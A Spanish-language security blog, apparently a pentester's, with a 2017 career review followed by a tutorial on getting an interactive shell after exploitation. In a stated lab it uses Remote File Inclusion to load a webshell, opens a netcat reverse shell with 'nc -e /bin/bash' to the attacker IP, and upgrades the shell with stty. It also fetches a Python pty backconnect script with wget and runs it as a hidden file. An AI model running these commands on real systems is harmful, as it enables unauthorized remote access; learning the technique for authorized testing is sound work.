Cierre 2017 retos 2018

El año 2017, ha sido un buen año en lo profesional, pero también un año que no olvidare en lo personal.
Aun tengo una espina profesional que sacarme pero ya estoy enrrumbado a que de una vez se termine mi calvario de casi un año.
Que dejo el 2017 en lo profesional:
- Una certificación al %90
- Mis skill en hacking aumentaron (aprendí muchas cosas, resolviendo por ejemplo Hack the box y enfrentando a nuevas tecnologias)
- He comenzado con mayor afluencia a realizar analisis de app, las cuales me parecen un gran reto, porque te enfrentas a lo que un desarrollar realiza, desde como informaticamente desea prevenir ataques, hasta como a nivel de funcionalidades propias del app, te permiten obtener informacion o realizar tareas no previstas y también el tema de manejo y ruptura reglas de negocio, quizás un buen año para empezar en estos menesteres.
- He notado mayor compromiso de nuestro Team (Open Sec) a mejorar y colaborar entre nosotros.
- Obtuve un par de trabajos como instructor para empresas internacionales, espero que empecemos el 2018 con fuerza en estos temas.
Que retos par el 2018:
- A principios de año lograr la certificación
- Viajar a BH o Defcon o ekoparty, va ser interesante conocer sobre todo los 2 primeros
- Empezar a estudiar para una certificación como CISSP, algo relacionado temas de gestión.
- Mejorar mi speech no técnico(contra el cliente), me cuesta como a cualquiera que es bastante técnico.
- Empezar con el dictado de cursos internacionalmente
- Meterme a analizar app mas profundamente.
- Comenzar con algún proyecto personal(profesionalmente), aunque esto creo que aun tenga que esperar, pero sera antes del 2020.
- Tener mas post en mi blog

Bueno espero que todo esto se realice y agradezco mucho a mi Team en especial a Oscar Martinez y Walter Cuestas, porque la transmisión de conocimientos ha sido increíble este 2017.

Feliz año a todos.

Happy Hunting!
0pensec rlz!

SHELL INTERACTIVA

SHELL INTERACTIVA

Escribiendo desde la comodidad de mi casa, un día sabado 30/12/17, no podre decir  "descansando", porque ando revisando algunas vulnerabilidades.

Hace 1 mes aprox, estábamos realizados tareas en un proyecto de pentesting, siempre la primera parte de reconocimiento suele ser tediosa y mas aun si los equipos a evaluar son críticos, trabajos de madrugada y horas de horas buscando algo relevante entre las pruebas.

Bueno entre tanta búsqueda y luego llegando a la etapa de escaneo de vulnerabilidades, al realizar el trabajo con herramientas automatizadas, nos arroja un titulo un rojo, la cual en un inicio te da a levantar la mirada y decir bueno a validar que no se trata de un falso positivo.
La alerta que me arrojo era con el siguiente titulo "Oracle WebLogic Java Object Deserialization RCE", interesante, mas que todo por lo que se puede hacer, un muy sugerente RCE(remote control execution). algo general para entender la vulnerabilidad: la "serialization" y "deserialization", es el proceso donde la data pasa a binario y viceversa, y esta vulnerabilidad se da por que una de las librerías en el proceso de reconversión (deserializar) no valida adecuadamente la entrada, dando posibilidad a un atacante de insertar código bien intencionado (lo digo para bien del atacante :D).
Entonces pasamos esas fechas y llegamos a la etapa de comprobación donde buscando alguna fuentes de exploit públicos, nos topamos con una que realizaba esta tarea de inyección de código remoto y boila, teníamos la shell a través de una conexión reversa. Al obtener esto tipo de shell, sea a través de una webshell o algún exploit que genere conexión reversa , se suele tener una consola que no es de gran ayuda, es decir no puedes realizar con facilidad el uso de atajos que trae una consola sea de linux o de windows.
Para tener mejor idea vamos a las pruebas.

ESQUEMA DE LABORATORIO

Tenemos una aplicación que se permite insertar un Remote File Inclusion (RFI)
Tener en cuenta lo siguiente:
IP ATACANTE:192.168.0.115
IP VICTIMA:192.168.0.110

1) Para los que se olvidaron que es RFI, en un parámetro del sistema, podemos insertar una ruta hacia un servidor remoto, en el cual estará esperando una "webshell". El sistema permite interpretar esta webshell y ejecutar comando en el sistema vulnerado.

vista del contenido de una webshell, ejecutamos ese archivo y agregamos un parámetro "cmd", para ejecución de comando en sistema

2) En el servidor del atacante, mediante el uso de un demonio web, ponemos el archivo y ejecutamos remotamente, y en el parametro "cmd", ejecutamos un "ls" --> listeo

3)Ya despues de la prueba de concepto, realizamos una "shell reversa" para tomar control del dispositivo mediante el uso de "netcat"

• El atacante: nc -lvp 4444
• La victima: nc <ip del atacante> -e /bin/bash

Shell reversa en victima

Puerto en escucha del atacante

4) obtenemos una shell con el usuario www-data, grupo www-data, pero aca les reto a realizar tareas como autocompletado, verán que es no resulta, entonces en este punto es donde podriamos tener en cuenta el uso de una "shell interactiva" para mayor comodidad

5) Antes de ir a ese punto, realizamos un pty( utilidades en speudo terminal) reverse shell en python, para no entrar en mayores detalles:

Llegamos a ver la consola original, pero aun si los atajos

6) Ahora salimos de la consola con "ctrl"+"z" y realizamos en siguiente comando:

donde: 

stty = nuestra o cambia la caracteristicas del terminal

raw = las salidas y entradas no son procesadas, solo se envian, no te permite salir con "ctrl +c " por ejemplo.

-echo = deshabilitas el uso de entrada de caracteres en echo

fg = reunadas trabajos suspendidos

7) De esta forma, podemos tener una shell interactiva, hagan la prueba.

Podemos hacer las cosas mas simples, si, podemos realizar los mismo con python veamos:

1)  podemos descargar del siguiente enlace lo siguiente:

https://github.com/infodox/python-pty-shells

2)Ahora modificamos el archivo "tcp_pty_backconnect.py", con la ip y puerto del atacante.

3) luego en la victima subimos el archivo "tcp_pty_backconnect.py" puede ser en el directorio "/tmp/" o en el directorio "/dev/shm" que ambos me permiten ejecución.

Con wget descargo el archivo remotamente desde el atacante y lo renombro el archivo ".back.py"

4) luego en el atacante ejecutamos el archivo "tcp_pty_shell_handler.py":

python tcp_pty_shell_handler.py -b <ip atacante:puerto>

5) Y luego en el servidor remoto ejecutemos con python el archivo ".back.py"

7) Ahora les reto a que uds me indiquen que paso :D.

Hasta una próxima entrada.